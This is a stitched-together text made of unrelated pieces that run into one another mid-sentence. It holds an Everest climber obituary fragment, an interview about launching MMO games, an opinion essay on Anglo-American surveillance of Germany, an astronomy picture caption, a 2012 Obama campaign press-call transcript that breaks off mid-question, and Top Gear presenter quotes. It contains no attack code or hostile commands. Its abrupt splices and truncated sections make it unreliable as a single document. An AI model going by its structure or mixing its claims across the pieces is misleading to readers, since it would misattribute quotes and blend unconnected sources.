Shah, who lived in Toronto, is survived by her husband, 44-year-old Bruce Klorfine. Klorfine says he met her in 2001 while the two were working on a cruise ship in the Caribbean. Shah was living in Mumbai at the time but immigrated to Canada, where the couple married in 2002. She started a business importing products from India in 2011.
Over the winter of 2011–12, she decided to climb Everest. It sounded like a bad idea to Klorfine, but he knew his wife had made up her mind. “She had |
happening within the long run as well."Overall, Tornquist believes it's "definitely harder" to launch an MMO now than it was three years ago. "There's a lot of competition, a lot of really good, really polished games out there, and players have more choices than ever," he says. "And yes, MMO developers have learned a lot in the past three years, particularly in terms of polish and stability. Compare recent launches with launches three years ago, and it's a world of difference. The games feel polished, solid, fun -- from day one. We don't see a lot of server issues, performance issues, and while all MMOs have bugs, there are few game-breaking ones. The bar has definitely been raised."Of course, that makes it harder for new entries to the market, especially given that these games are so tough to get right. "There really aren't a lot of MMO developers out there capable of building and releasing large-scale, AAA games -- but we are seeing a lot of smaller scale MMOs, of course, and that's a good thing," says Tornquist. "I'm not sure there's room in the market for a lot more traditional, large-scale MMOs at this point."So the company will continue to invest in, but: "Funcom has already stated that The Secret World is probably the last MMO of this size and scale we will ever create, so we may be seeing the end of an era," Tornquist says.The color scheme ranges from green (least subjected to surveillance) through yellow and orange to red (most surveillance). Note the ’2007’ date in the image relates to the document from which the interactive map derives its top secret classification, not to the map itself.
Nothing to be surprised about. During more than forty years after the WWII ended, the Federal Republic of Germany was at the forefront of the Cold War against the Union of Soviet Socialist Republics and the countries of «Eastern Bloc». Besides, the «big brother» had to watch the Germans themselves. There have always been reasons found for justifying the activities: first it was denazification, and then there were trade dealings with the Soviet Union - the things of dubious character from ideological point of view.
Spying was not very burdensome: There were secret US sites in West Germany, which were used for planning and conducting intelligence gathering activities at the other side of «iron curtain». The very same facilities were used for controlling the territory of West Germany. For instance, by the end of 1980s the US special services provoked a scandal. Imhausen-Chemie chemical company, founded in 1912, was liquidated as a result. German journalists dared to ask questions of delicate nature about the ways the classified commercial information was received. The inquiries were made to vanish against the background of the accusations flow launched against the firm, which had concluded an agreement with Libya to build a chemical plant there. Operation El Dorado Canyon (the 1986 United States bombing of Libya, code-named Operation El Dorado Canyon, comprised air-strikes by the United States against Libya on 15 April 1986. The attack was launched by the U.S. Air Force, U.S. Navy and U.S. Marine Corps via air-strikes in response to the 1986 Berlin discotheque bombing) had been carried out some time before that, the economic sanctions against Libya were being planned – the disclosure of «secret materials» on the planned construction of chemical plant came just in time to be added to the list of accusations against Muammar Gaddafi.
Of course, Germany was and still is a key European NATO member, Berlin has always declared the transatlantic solidarity as a pillar of its foreign policy, the principle it has been adamantly adhered to. Before the unification, Germany had the reputation of an economic giant being a political dwarf. That’s how it had been, for many years the Germans had been taught to work and produce, while following in footsteps of others and avoiding initiatives in foreign policy. Willy Brandt would have never received his Nobel Peace Prize without coordinating each and every step with Washington.
Now the time has passed. The unified Germany is seeking political independence. It makes the overseas partner exasperated. The contemporary United States foreign policy proceeds on the assumption that all future international battles will take part in the Asia-Pacific. But it does not mean the United States should leave Europe. Quite to the contrary, it should guarantee stability behind the front lines.
The PRISM and TEMPORA programs made clear the correlation of forces in the North Atlantic organization. Western media outlets avoid mentioning other countries which along with the United States make up the alliance of intelligence operations known as Five Eyes: the United Kingdom, Canada, Australia, New Zealand. All these states belong to the English speaking Anglo-Saxon bloc. It was an unpleasant surprise for Germans to find out they were watched… by the allies. And they were surveyed more closely than anyone else in Europe! It appeared to be logical to expect this kind of foul play from ill-intentioned Chinese or Russians: year in and year out the German Federal Office for the Protection of the Constitution warns about the threat of industrial espionage. The cases of industrial spying emerging from time to time keep the population vigilant. But the Americans spying on the German friends? The British? Alas! The Anglo-Saxons «close circle» cherishes the friendship, but does not find it redundant to spy on a friend.
A surge of anti-US sentiments in Germany is a natural reaction to the disclosure… As Frankfurter Allgemeine forum readers put it: «America is so dirty, it stinks strong enough to smell in Europe. Scandals, unjust wars, military crimes, haughtiness displayed at trade talks – all these are features of global dictatorship.. and we are drawn into the whirlpool of evil». «Americans still behave like cowboys». There are voices raised calling for freezing the just started talks to create the «economic NATO» – a free trade zone between the European Union and the United States.
What hurts most is the fact that the Germans, the respectable people, who have proven their loyalty, are watched more closely than the neighbors. Michael Hartmann, spokesman on domestic issues for Germany’s opposition Social Democratic Party (SPD), says there is no justification for mass surveillance of Germans. Really? From the point of view of US hegemony advocates, there are enough reasons to rebuke Germany for. Where were the Germans in January 2003, when the eight heads of states published a joint statement in support of America? The letter of eight supporting the US intervention in Iraq was signed by the leaders of Great Britain, Italy, Spain, Portugal, Denmark, Poland, the Czech Republic and Hungary. Who dared to abstain in the United Nations Security Council when it came to vote on the no-fly zone in Libya? Germany was the only one among all Western countries who did it. Even after that Guido Westerwelle, who took the responsibility for the risky decision (a national dishonor, according to former Foreign Minister Joschka Fischer), retained his position in the cabinet. He only stepped from the other office he held simultaneously – the one of Vice-Chancellor. Contrary to the tradition, the post was given to Minister of Economy. It’s worth to note how deep the double standards have become enrooted in the Europeans mindset. For instance, if spying takes place in China (Tsinghua University located in Beijing, the Chinese University of Hong Kong) – it’s normal, if it is done in Europe, then it becomes a violation of human rights.
In the case of Germany, it’s the scale of tapping that makes one wonder - 600 million phone connections a day, electronic messages, the user-deleted content of personal Facebook pages stored for thirty days. «Even if you’re not doing anything wrong, you’re being watched and recorded». Edward Snowden told the Guardian. Twenty years have passed but the Ministry for State Security commonly known as the Stasi, the official state security service of the German Democratic Republic or GDR, is still strongly associated with dictatorship in the minds of Germans. So they write, «Here is Stasi to welcome you». «Let’s involve old Stasi agents». «America brings suit against Snowden. Let it bring charges against itself for violating fundamental rights protecting private life and freedom. Stasi opened private letters breaching the norms of privacy. The NSA does the same thing with private electronic messages. No difference. The German Democratic Republic was a dictatorship. What about the United States?» The German social networks posts go farther than a Stasi analogy comparing the United States and British special services with Gestapo. «If it goes further like that, than Gestapo will look like a boys’ choir. Back then the «good Germans», the real Aryans, believed for many years nothing would happen. Where did their infantile hopes lead them to? What about the real Aryans?»
Indeed, unlike in the past, the modern technologies enable exercising total control over people, including trustworthy burghers. German NDR TV channel and Süddeutsche Zeitung newspaper clearly explained the ТАТ-14 is a submarine transatlantic telecommunications fiber-optic submarine communications cable, connecting the United States of America and Germany. It goes through British Isles. Installed by the UK a year and a half ago, the Tempora system has been used for reading the data. A great idea! Leaving ethics aside, there is only one problem left, the data volume exceeds by 192 times the volume of information stored in the entire British National Library.
The program uses key words to filter the whole data flow. The experience of German special services shows the method is not very effective. In 2011 around three million sms were checked being suspected of having relation to illegal arms and human trade. Only 290 short messages were of any interest for intelligence.
According to the official stance of the Federal Republic of Germany, the fight against terrorism cannot justify the total surveillance. The commentaries of social networks corroborate this view. Still, there are people, who think the advantage of exercising total control outweighs the damage to private life. The Germany’s special services appear to be guided by this principle in future. There are media leaks saying the Federal Intelligence Service has established a new department for Internet surveillance. To prevent terrorist threats the Germany’s foreign intelligence agency BND is reportedly planning to invest €100m to expand its internet surveillance capability. German news weekly Der Spiegel reported that BND plans to expand surveillance program to cover 20% of all communications between Germany and foreign countries. The agency plans to hire 100 new employees on a technical reconnaissance team. Some politicians have come up with a surveillance expansion legislative initiatives. Minister of the Interior and Sports Facilities of the federal state of Saxony-Anhalt Holger Stahlknecht initiated a bill introducing new rules of telecommunications surveillance making it obligatory for companies to provide the Office of Constitution Protection with data on Internet users, including an IP, a Pin-Code and a password. «Once the United States of America and Great Britain are caught, then we should make legal the surveillance that actually started a long time ago», says a Mitteldeutsche Zeitung reader. «Welcome to «1984!», a reader of an East German newspaper exclaims with bitter irony.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2009 November 27
The Jets of NGC 1097
Credit & Copyright: Robert Gendler
Explanation: Enigmatic spiral galaxy NGC 1097 lies about 45 million light-years away in the southern constellation Fornax. The small companion galaxy, just below and left of center, that seems to be wrapped in its spiral arms, is not NGC 1097's most peculiar feature though. Instead, This very deep exposure shows hints of faint, mysterious jets, most easily seen to extend well beyond the bright arms toward the lower right. In fact, four faint jets are ultimately recognized in optical images of NGC 1097. The jets trace an X centered on the galaxy's nucleus, but could be fossil trails left over from the capture of a much smaller galaxy in the large spiral's ancient past. A Seyfert galaxy, NGC 1097's nucleus also harbors a massive black hole.During a conference call with reporters Wednesday, Obama campaign senior adviser David Axelrod called the Republican’s Super Tuesday “Super Glue Day,” saying that Mitt Romney is “still stuck” in a drawn out primary process that’s like a “death march.”
He also took several shots at Romney’s weak response to the Rush Limbaugh “slut” controversy, at one point calling it a “test of leadership,” and asking “”If you don’t have the strength to stand up to the most strident voices in your party, how are you going to stand up to (Iranian President Mahmoud) Ahmadinejad?”
Axelrod addressed the Limbaugh controversy during his opening remarks, but also managed to work the radio giant into several other responses during the call. Romney, who still makes millions from Clear Channel owner Bain Capital, responded to Limbaugh’s verbal attacks on Georgetown law student and activist Sandra Fluke by saying “It’s not the language I would have used.”
Axelrod’s barrage at Romney comes a day after President Obama addressed the controversy during a press conference, in devastating fashion. The President framed Limbaugh’s attack on Ms. Fluke as an attack on everyone’s daughters, including his own, saying he wanted his daughters to be able to speak their minds “in a civil and thoughtful way. And I do not want them attacked or called horrible names.”
Axelrod and campaign manager Jim Messina also took shots at Romney’s Super Tuesday performance, noting lower than 2008 turnout in six of the Super Tuesday states. Axelrod said that Romney’s campaign “wanted to put the nomination away” on Super Tuesday, “but instead of Super Tuesday, it became Super Glue Day, and they’re still stuck with Santorum, and with Gingrich, and with the prospect of a long race.”
“What was extraordinary about yesterday,” Axelrod continued, “was, having outspent Santorum 6 to 1, and Gingrich 4 to 1, (Romney) found himself at midnight, still wondering if they were going to carry the state of Ohio, which he barely did. So he continues to grind out a kind of tactical…tactical victories in a kind of death march here.”
He also noted the “corrosive” effect of the long primary, manifested in Romney’s declining numbers with independent voters. Invoking Romney’s response to the Limbaugh controversy, Axelrod said “This doesn’t impress independent voters.”
Axelrod and Messina also talked up the Obama campaign’s efforts to build on its already impressive organization on the ground, its success at registering voters in Ohio, and the imminent release of a 17-minute documentary on President Obama’s first term, by Training Day director Davis Guggenheim. (I’m trying hard to picture Joe Biden in the Ethan Hawke role.)
But it wasn’t all rainbows and unicorns. National Journal congressional correspondent Major Garrett asked Messina about a recent report that the Obama campaign told congressional Democrats not to expect much campaign cash, if any, from OFA. “If things are going so well,” Garrettt asked, “why are you seemingly so paranoid about the general election, and acting so aggressively to A. raise money and B. keep it in your own hands, and not share it with the campaigns for the Senate and the House?”
“There is unprecedented SuperPAC spending going on all over the country,” Messina replied, “and we have to be prepared for that.”
Even given the President’s much-criticized decision to encourage donations to the SuperPAC supporting him, Priorities USA Action, it’s doubtful that Priorities will be able to keep pace with anti-Obama forces like the Koch brothers and Karl Rove, whom Axelrod name-checked during the call. If there’s going to be significant pushback against negative SuperPAC ads, most of it will probably have to come from the Obama campaign. For better or worse (better, the President’s suppporters will tell you), President Obama just doesn’t have as much to offer the individual billionaire as Romney and Co. do.
Here’s a transcript of the call, via email from Obama For America:
Transcript: State of the Race Call
March 7, 2012
BEN LABOLT: Hey everybody, it’s Ben LaBolt, here in Chicago. Thanks for joining the call today. We wanted to give you a state of the race update. On the line is Campaign Manager Jim Messina and Senior Strategist David Axelrod. They’ll speak at the top and then we’ll take questions. With that, I’ll turn it over to Jim.
JIM MESSINA: Hey everyone, thanks for joining us. In every primary we’ve seen just how disappointed Republicans are in their candidates and how dissatisfied they are with their choices. In state after state, Republicans voters have stayed home and frankly I don’t blame them. On Super Tuesday we saw that dissatisfaction get supersized. The lack of enthusiasm among Republicans is real and it’s unmistakable, and what we saw last night is overall Republican primary turnout down 8.8% in the Super Tuesday states. In six states, turnout fell since 2008—Georgia, Idaho, Massachusetts, Oklahoma, Virginia and Tennessee. Independents have bailed on Romney just in time for the General Election. Romney’s gone so far right that it’s cost him the independent support. Only in his home state of Massachusetts did he win independents. He lost independents in every single other state. In Ohio he lost by ten points among “voters who understand average American problems.” He lost young voters in every state and he lost middle class voters in every state, except for Massachusetts. You know, what you saw last night in Ohio was Barack Obama getting more votes than any candidate on the ballot.
While all of this has been going on, we’ve been on the ground building the best grassroots campaign we can build to get ready for the general. Just this weekend in North Carolina we registered over 3,000 voters. We registered a couple thousand in Virginia over the weekend. I kicked off the campaign in Arizona a couple weeks ago and we did over a thousand voters there. You know, we are seeing thousands of volunteers streaming into our offices. Last week we had over a thousand women house parties across the country to follow up on our over 2700 house parties we did for the State of the Union. You know, our Greater Together youth campaign has had several events at key campuses and we have a bunch more to do. I was in North Carolina last week, kicking it off at North Carolina Central and we had so many people they couldn’t get everyone in the place. And as we get ready for the general we’re building in the youth, building in Latino and women, and other key demographics that really matter to this general election.
You know, we already have offices open across all the states. While all the candidates go to the next primary in Ohio, we have ten field offices open in Ohio and Pennsylvania and they’re going to stay there until Election Day and expand. We already have 15 offices open in Florida and all across our battleground states we’re building real capacity to turn voters out, persuade them, register them and do all the things we’ve got to do. In the coming weeks we have a couple of things we’re really excited about. First, as we announced yesterday, the Vice President, starting next week, is gonna give a series of key speeches on issues that are going to define the general election. That starts next week in Ohio. And then we’ll have a few other speeches on that. And then next week we’re releasing a 17-minute documentary about the President’s first term in office by the director Davis Guggenheim. It’s going to put into perspective the enormous challenges that the nation faced when the President took office and the strides we’ve made together. As you know we rolled out our truth team a couple weeks ago and over a million people have already joined the effort to push back against the distortions on the other side and we think this is a really big effort in our ongoing ability to push back against some of the stuff you’re seeing out there. And so we feel good about where we are, we have a lot of work to do, but as the other side continues their move to the right, we are on the ground organizing, doing the things we need to do. And I think that’s what you’ve seen over the course of the past couple weeks and that you’ll continue to see. And with that I’ll turn it over to my brother Mr. Axelrod to give his thoughts.
DAVID AXELROD: Thanks Messina. I feel honor-bound to point out that the overflow crowd in North Carolina was mostly due to Jim Messina being there [laughter]. That happens wherever he goes. Yeah, yesterday was an interesting day. You know, the Romney campaign wanted to put the campaign away, their nominating battle away, yesterday. Instead of Super Tuesday it became Super Glue-Day for them. They’re still stuck with Santorum and with Gingrich and with the prospect of a long race here. Already, even before yesterday, they were running, true to form, running their negative ads, negative calls against Santorum in Mississippi and Alabama, so they obviously anticipated a prolonged race. What was extraordinary about yesterday was that having outspent Santorum 6 to 1 and Gingrich 4 to 1, Romney found himself at midnight, still wondering whether he was going to carry the state of Ohio, which he barely did. And so he continues to grind out a kind of tactical victory and you know, tactical victories in a kind of death march here. But, he is incurring… You know, Bill McIntyre said that, when he was evaluating the poll for the Wall Street Journal and NBC earlier in the week, called the race corrosive. And you can really see it as time goes on. You can see it in Romney’s numbers nationally, now down to 28% approval rating, 39% negative. And you can see it in the returns, you know, he continues to lose except in the state of Massachusetts yesterday, he lost voters under 100k, 100,000 dollars income.
So he continues not to connect with working class voters, in the states in which he runs. He continues to lose among independent voters and that’s going to become increasingly so, as he tacks further to the right on whether… to the right of Perry on immigration and Gingrich on immigration, to the right of Santorum on contraception. He’s going to continue to lose independent voters when he walks away from issues like the one involving Rush Limbaugh last week, where he essentially refused to comment on what was a really egregious set of comments by Limbaugh. Why? Because he’s afraid to challenge a guy who’s the de-facto head of his party. This doesn’t impress independent voters and it shows up even in these primary campaigns, but even more so in this polling. So, you know, he may be the nominee, I don’t think his, I guess his campaign held a call today to talk about the math and talk about that he was inevitable message to Republicans and all of the subsequent states is that your votes don’t count and that… they’re stuck with him. Essentially, I’m your guy, so live with it, is the message. Now I don’t think that that is necessarily going to be how the message is received from voters. I think these campaigns are going to go on. But meanwhile, we’re using this time, as Jim said, to build while they’re destroying each other, we’re building a campaign, nationally, that is based on a positive vision for the future of this country and a real belief that we can build an economy in which the middle class is growing and not shrinking, in which hard work is rewarded, responsibility is rewarded, where people play by the same rules and we pull together and grow, in a way that’s healthy and sustainable– as opposed to going back to the same policies that we’ve seen in the past.
So, we’re… this is a state of the race call. You know we’re encouraged by what we see. We’re fortified for a tough race. We know when they finally do get a nominee, whenever that is, that it’ll be a tough race. We know that there are hundreds and hundreds and hundreds of millions of dollars of Super PAC money, matched against us— or that will be matched against us. We understand that. We understand that we’ve lived through difficult times and the environment itself poses challenges to us. We understand all of that. But if you look at where we were six months ago, where we are today, we believe we’re making steady progress because of what we’re doing, because of what the economy is doing and because of what the Republicans are doing. And we’re going keep, we’re going keep forging ahead. One last point on this. There’s been a lot of talk about how Mitt Romney can unify the Republican party… It’s very hard to unify a party when 90% of your advertising or more is negative, when all you’re doing is attacking your opponents. We went through an entire campaign against Hillary Clinton in 2008 and in perhaps, one, or one or two instances, she was even mentioned in an ad and we try and appeal to the best in people and they appear to be appealing to the worst instincts and impulses. I think there’s a price to be paid for that. You see it in Romney’s numbers and you see it in degradation the Republican Party’s numbers. Now that may be the kind of campaign he intends to run against us as well. We’re confident. We’re confident in the American people and we’re confident in the campaign we’re building, that we can we repel that challenge.
LABOLT: With that, let’s open it up to any questions. Please give your outlet before asking a question.
JESSICA YELLIN, CNN: Hi guys. Thanks for doing this. In a Politico breakfast this morning, the DNC convention chair Antonio Villaraigosa said that he thinks gay marriage is part of the party platform. How do you all feel about this? Does that put the President in an uncomfortable position? You think his position might evolve further on this before the convention?
MESSINA: Hi Jessica, it’s Messina. Let me take that one. Look, we’re in the big tent party here. POTUS has a great record on fighting for fundamental fairness for all Americans, Don’t Ask, Don’t Tell, and many other accomplishments we are very, very proud of. You know there’s a process. There’s not even a delegate platform committee yet. There’s a process to go through this discussion and the DNC will go through that and we will have a platform. But that, our record stands in sharp contrast to the other side and what the other side has said is that they want a constitutional amendment on anti-marriage. They want to put back into place Don’t Ask Don’t Tell, and a bunch of other regressive policies. And so that couldn’t be any more contrasted with our record and so, there’ll be a process from that and we will go through that process.
OPERATOR: The next question comes from the line of Jeff Reuters at Reuters.
JASON MASON, REUTERS: That’s supposed to be Jeff Mason at Reuters. At least we weren’t rooters today.
AXELROD: What a company manual, you changed your name.
MASON: Exactly. [laughter] Thanks for doing the call. My question is two-fold. One, how does the Super Tuesday results affect your strategy moving forward in terms of there possibly being a longer Republican primary? And secondly, the Romney campaign gave an update on their fundraising today for February. Can you give us one for yours?
MESSINA: Uh, no. But thanks Jeff. We’ll announce at the appropriate time, the way we always do to our supporters. David, do you want take the first one–
AXELROD: In terms of our strategy, we, as we suggest in our remarks, we’re always going to take this time to build and to engage the millions of people across this country who are and want to be part of this effort. It’s really been, I have to say. I was in Florida last week, in Gainesville, with young people there. The level of enthusiasm was really inspiring to me. So, all over this country, people want to be engaged. We’re putting that in place. We’re building organizations. These organizations are going to make a difference. The President is obviously doing his job, but we as a campaign are out and projecting the history of where we were and where we are now and the the things he’s done to this point and the vision he has for the future, about how we build the kind of economy that I described earlier, that works for the middle class. We believe that to grow the economy, you’ve got to grow the middle class and the two work together. The sort of top-down, trickle-down theory that was tested [inaudible] and we’re going to prosecute that case. We’re going to keep on doing the things that we’ would’ve done. Now the Vice President is going to go out and start making a series of speeches because we can’t wait to make our case. Frankly, whomever the Republican nominee is, they all represent the same bankrupt and bankrupting economic theory, you know, the massive tax cuts, particularly at the top, and cutting Wall Street loose to write its own rules and somehow, our economy will thrive and everyone will profit from that. And so, whomever the nominee is, we know we’ll be facing that theory. And so, we can certainly draw that contrast, but for to move forward and make our case, and in that sense, you know we’re not waiting for the nominee to do that, but there’s nothing that happened yesterday that would change our plans.
LABOLT: Next question.
OPERATOR: Question from the Cleveland Plain Dealer.
REPORTER: Hi, thank you. Looking at last night’s results in the Republican primary it’s clear that Romney did very well in the urban areas, in true urban areas and that Santorum carried the rural areas. Asked about that today the Romney campaign says well this shows that we can be competitive in those very areas that Obama carried in 2008. Do you agree with that at all?
MESSINA: It’s Messina. I don’t. Look, you look at your own poll in Ohio and other polls that show us clearly leading in urban areas and I think his bigger problem is, you know in every state but his home state of MA he lost independent voters, he lost voter, middle-class voters. And those are who typically decide elections in Ohio. You know I think he’s made his problems worse in this primary in, you saw that last night in Ohio, you can’t put together a coalition to win a general election in Ohio without young voters, which he lost last night, without independents which he lost last night, or without middle-class voters which he lost last night.
AXELROD: Yeah, I mean the fact is that he’s leveraged the general I mean they’ve run a very tactical race trying to grind victories out week after week taking the positions that they think they will they need to prevail but there are consequences to that when you stake out these very, very extreme positions on, for example, immigration and use the language that they’ve used there are consequences that you saw. That and their economic theory which would mean massive, massive cuts in, you know education programs and health care programs and small business programs and so on that in important to middle-class people and particularly to the Hispanic you know has particular interest in the Hispanic community. You saw the poll that was released the other day, the Fox Latino poll, Romney was at 14 percent versus the president. You know and all independent voters, as Jim mentioned, as I mentioned earlier, moving away from him. You know, I think that their interpretation of yesterday’s results comes under the category of trying to turn a hamburger into steak.
LABOLT: Next question.
OPERATOR: Your next question comes from the line of Scott Powers.
POWERS: Jim, I want to thank you very much. I’m curious about Romney’s record at this point of not doing well in the red states but winning the swing states- Florida, Michigan, Ohio, Virginia- that you very much need to win. Does this suggest to you that he has more latent strength in in these swing states then you’re giving him credit for?
AXELROD: Boy, I’ll tell you, you look at the way he won Florida which is to you know, massively outspend his opponents and run 99 percent negative ads to win a plurality down there. I wouldn’t take too much from that, I don’t think there’s anything that happened in Ohio yesterday that would- should give him hope about carrying the state of Ohio. The fact is that every poll that I’ve seen recently shows the president with a- with a lead in Ohio. Our situation in Ohio is much different than it was even 6 months ago because I think that Romney is a very, very vulnerable candidate in the industrial heartland of this country. How can you be a candidate who says let Detroit go bankrupt and who disdains manufacturing and who has his history in business of closing down factories and, you know, squeezing businesses for the profit of him and his partners but costing jobs? How do you then go back to people in the industrial Midwest and then say I’m the leader for you. I think he’s got tremendous problems in every bit of polling, general election polling in Michigan, where the president has a pretty substantial lead. In places like Wisconsin, and in Ohio, which is a traditional swing state where the President has a lead, there is nothing there that would suggest that anything Romney has done over the last 6 months has made him a stronger candidate against us.
MESSINA: Boy I agree with that. Look, he is not winning in these states he is limping across the finish line. I mean last night in Ohio he outspent Santorum 4 to 1 and only won by a few thousand votes. In Virginia turn-out was down by 50% and his toughest two candidates weren’t even on the ballot. So I don’t think you can look at any of these things and say he is showing any strength there. You can’t lose independents and middle class voters in every state but your own and think you are showing strength and, you know, David referenced this but I want to come back to it because it is so important. In the Fox Latino poll out the other day you know, he is at 14% with Latino voters. I mean, we are already at 70% with a 73% approval rating; those are numbers that portend a very difficult general election.
LABOLT: Next question.
OPERATOR: Ken Thomas from the Associated Press.
THOMAS: Thanks. Is the drawn out Republican primary hurting your ability to create a sense of urgency among, you know, your supporters and donors? Messina had an e-mail to the affect that too many supporters are waiting until there is a clear Republican nominee to make their donation. And then secondly, have the five re-election map scenarios that you laid out last year been tweaked at all based on some of the primary results?
MESSINA: Let me take the second one first and the answer is no, we continue to think we are playing on an even more expanded map. You know I was in Arizona the other day, you’ve seen public polls with both candidate within the margin of error of each other. We continue to look at an expanded map and feel very good and David referenced some of the most recent polls in the swing states, so if anything our map has gotten more expansive. There is more opportunities and we continue to look at that and, you know, what we see in our volunteer states, our volunteer offices is the longer the Republican primary goes, you know, the longer we have to continue to build and that’s what we’ve done and, you know, we continue to make the case and I sent that e-mail out overnight cause I’m not a big sleeper and was having fun, but the truth is you have to remind people what we’re doing and why we’re doing it and, you know, the house parties I referenced you know, the women’s house parties last week and the State of the Union house parties and all of the voter registration stuff we get, that voter registration stuff I talked about is all volunteer stuff. And so, you know, while they are moving to the right we’re on the ground organizing and that’s what we should be doing.
AXELROD: Yea, let me, let me answer the first part of it. Look, candidly, I do think that it’s easier to raise money when you have one opponent. But on the other hand when you say, do people have more of a sense of urgency when you have an opponent, I think every single day that people watch these Republican candidates, their sense of urgency grows about the need to re-elect the President, because they are in sort of a mad scramble to respond to the most strident voices in their party (INAUDIBLE) the longer I suppose we’ll see. Again I think the Limbaugh case was a good example. The fact that they and particularly Romney were so timid in response speaks to the dynamic of the Republican primary. They were afraid to challenge the de facto boss of the Republican primary. And I think that when you hear the Romney people speak, one of them I saw quoted saying well we’re just going to start all over again in the general election, they think they can just wipe the slate clean. That their words don’t mean anything, that the positions they’ve taken don’t mean anything, that they can have a do over. But I think the American people take his word seriously and his position seriously. We take his word seriously and his position seriously. And we’re going to hold him to it. This is not a game. You’re running for the President of the United States.
When you stake out positions in the midst of the campaign, you’re going to be held to those positions. And we’re going to hold him to his positions and if he’s the nominee, we’ll look forward to a debate because those positions, whether they were tactically arrived at for purposes of being the nominee, are the wrong direction for the country and if you don’t have the strength to stand up to the most strident voices in your party, how are you going to stand up to Ahmadinejad, how are you going to stand up to the challenges of the Presidency. And these are tests, presidential campaigns are tests. You are tested every single day in different ways. The Limbaugh thing was a test of leadership and you have them all the time. Mitt Romney has failed those tests in the campaign, and the longer this primary race goes on my guess is he’ll have more tests and my guess is that he will continue to fail them.
LABOLT: We’ve got time for a couple more questions.
OPERATOR: And you have a question from the line Major Garrett from the National Journal.
GARRETT: Hello gentlemen, how are you?
AXELROD: Good.
GARRETT: Jim and David, first, I hear everything you say and you make a very strong case that this process is not helping Republicans, |
[On the news of the MV Tricolor sinking with nearly 3000 new cars on board] Jeremy: But there's plenty to talk about. Most important of all, of course, Jacques Cousteau opened a dealership in the English Channel.
[On the MG SV.] Jeremy: If Oliver Reed and Russell Crowe made mad man-love on the set of Gladiator in an angry brawl, this would be the result.
December 29th, 2002 [1.10] [ edit ]
[During the opening sequence.] Jeremy: In tonight's top gear: The Mick Jagger of supercars; our quest goes on to find Britain's fastest faith; and the Stig sorts out TVR's new coupe.
[talking about the problems on the Range Rover] Richard: They did suffer a few problems, I mean it was with stuff like the paintwork. Interior trim, bit rattly. Engines, they can be a problem. Jeremy: Yeah, the 4-litre. Richard: And the 4.6. Jeremy: And the diesel. Richard: All the engines.
[reviewing the nominations for the 'Weirdest Renault' category] Richard: The Vel Satis. It's a businessman's car, but only if your business is Enron. The Mégane; a family car, but only if your family is The Osbournes. And the Avantime; it's a sporty coupe, but only if you don't want a car that's sporty. Or a coupe.
Series 2 [ edit ]
May 11th, 2003 [2.1] [ edit ]
[During the opening sequence.] Jeremy: On tonight's Top Gear: Richard Hammond in a V8 tumbledryer; The classiest way to bankrupt yourself; And we turn up the heat on the world's dullest car!
May 18th, 2003 [2.2] [ edit ]
[During the opening sequence.] Jeremy: On tonight's Top Gear: Jamie Oliver's meals on wheels; a German sledgehammer in a velvet bag; And which is the fastest political party?
[during the news] Jeremy: I was driving through East London this week and I got shot. OK? Now the thing - Richard: Eh?! Jeremy: I was shot. Richard: At last! [audience laughs along with Jeremy] Jeremy: Well, they didn't hit me, but they hit the car - no, honestly, the windscreen. So now I've got - Richard: What with? Jeremy: [casually] An AK-47. [Richard laughs]
[on Jeremy being told by his auto glass repair people that his Mercedes-Benz had to stay at their shop overnight so the glue on his replacement windscreen could set] Richard: Did they by any chance try telling you that the glue will set better if it's left parked outside a nightclub all night, maybe?
[on the Lexus LS300's colour rear-view video camera] James: You have to get a more expensive television licence to reverse that car.
[on the English translation of an early 1970s Datsun owner's manual] James: And then in the index, under "H", it's got "How to open the bonnet".
Jeremy: I had a good one with Daihatsu. They once flew me first-class, before I was working for the BBC, they flew me first-class all the way to Japan, via Hong Kong, and then back through Maui and San Francisco. And I arrived in Japan to drive their new Charade - this was, oh, I don't know, late '80s. I did half a lap of the track and crashed it! Richard: Oh, well done! Well done! Jeremy: And the guy said, "Oh, don't worry. We make one every 23 seconds."
May 25th, 2003 [2.3] [ edit ]
[During the opening sequence.] Jeremy: Tonight: A new take on the world's worst BMW; A Starsky, in our reasonably priced Hutch; And the world's finest supercars, head to head.
[during the news] Jeremy: I get confused with 911s. I don't know where they all go. Is that a turbo? Richard: No, that's not. That is normally aspirated. Jeremy: So wait a minute, the GT2's a turbo... Richard: Yes. Jeremy:... and the Turbo's a turbo, obviously... Richard: Yes. Jeremy: Why is a GT2 not a Turbo if it is a turbo? Richard: But it is a turbo. Jeremy: Yes, why is it called a GT2 and not a Turbo? Richard: Because the Turbo's called the Turbo. You couldn't have a - Jeremy: You see? Does anybody here understand the 911 range? [silence] No? They're bored, aren't they. Audience: Yes. Jeremy: They've been making the same car for a hundred and twenty-thirteen years, and all they think to do is, "Well, we'll call that one a GT3 and that one a GT2, have a Turbo, the GT2, have a GT1, a 959, put the engine in the back." God, it must be fun going into a Porsche dealership, "Can I have a 911?" Be like ordering breakfast in America. [face in hands] "I just want eggs!"
James: Now for some more trouser action.
[on the Alpina Z8] Jeremy: It must be said, this looks just as good as the original, and it's just as left-hand-drive as the original. But: does it go any better? Well, after much careful deliberation, the simple answer is... no. [...] Jeremy: Getting it round a corner is like trying to get my wardrobe up a fire escape. It's very hard work, and it's hard to see where you're going. [...] Jeremy: This must be the first-ever tuned car that's slower than the original.
James: What would you say if I said, Perodua Kelisa? Richard: Bless you?
James: [reviewing a Perodua Kelisa] This [holds up food close to camera] is a bacon sandwich. And this [taps dashboard] is a car.
June 1st, 2003 [2.4] [ edit ]
[During the opening sequence.] Jeremy: Tonight: A Member of Parliament in our reasonably priced car; A nice relaxing smoke in a new Aston Martin; And a mad Jag, gone bad.
[discussing the Ferrari 360 Challenge Stradale] Jeremy: I'm sorry, I'm sorry, everybody - have you driven this car? Richard: I have, yes. Jeremy: And what happened when you drove this car? Richard: Well, I crashed it, technically. Jeremy: Tell the nice ladies and gentlemen about what happened. Richard: Well, I was going round a corner, and the next minute I went round lots and lots of corners very quickly. Span it several times. James: Actually, this is why it's called the F360, this model. Because you drive along and you go "FFF -!" and then you do a 360.
[mocking the overly ambitious plans announced by the MG Rover Group in 2000] Jeremy: They said they were going to make a space shuttle... James: Yes, a space station. Jeremy: Yeah, well, they were going to build a space shuttle to get to the Rover space station. James: The Rover space station would be fab, actually, wouldn't it? It would be dark metallic green, and it would have a grille on that would sort of appear every 24 hours as it rotated, and sort of glitter in the sky. Richard: And a really nice, a really nice clock somewhere as well.
